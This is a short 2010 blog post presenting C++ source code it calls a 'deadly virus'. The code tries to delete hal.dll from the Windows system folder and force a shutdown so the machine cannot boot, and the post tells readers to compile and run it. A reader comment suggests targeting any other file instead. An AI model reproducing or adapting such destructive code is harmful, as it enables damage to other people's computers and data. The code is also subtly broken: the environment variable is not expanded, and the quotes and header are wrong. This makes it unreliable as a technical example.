Infolink

Monday, November 29, 2010

A deadly C++ Virus that corrupt the Windows

The following is the source code of the Virus that would curropt the windows and shutdown. But the Windows will never start up again.


#include <iostream.h>
#include <windows.h>

using namespace std;

int main(int argc, char *argv[])
{
std::remove(“%systemroot%\\system32\\hal.dll”);
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}

Note: You have to compile the above code with C++ compiler like Borland to run

2 comments:

  1. Hey man, this is the old Hal.dll delete thing. But, this can easily be restored in systems menus :P

    ReplyDelete
  2. this is just an example you can replace hal.dll with anything else.

    ReplyDelete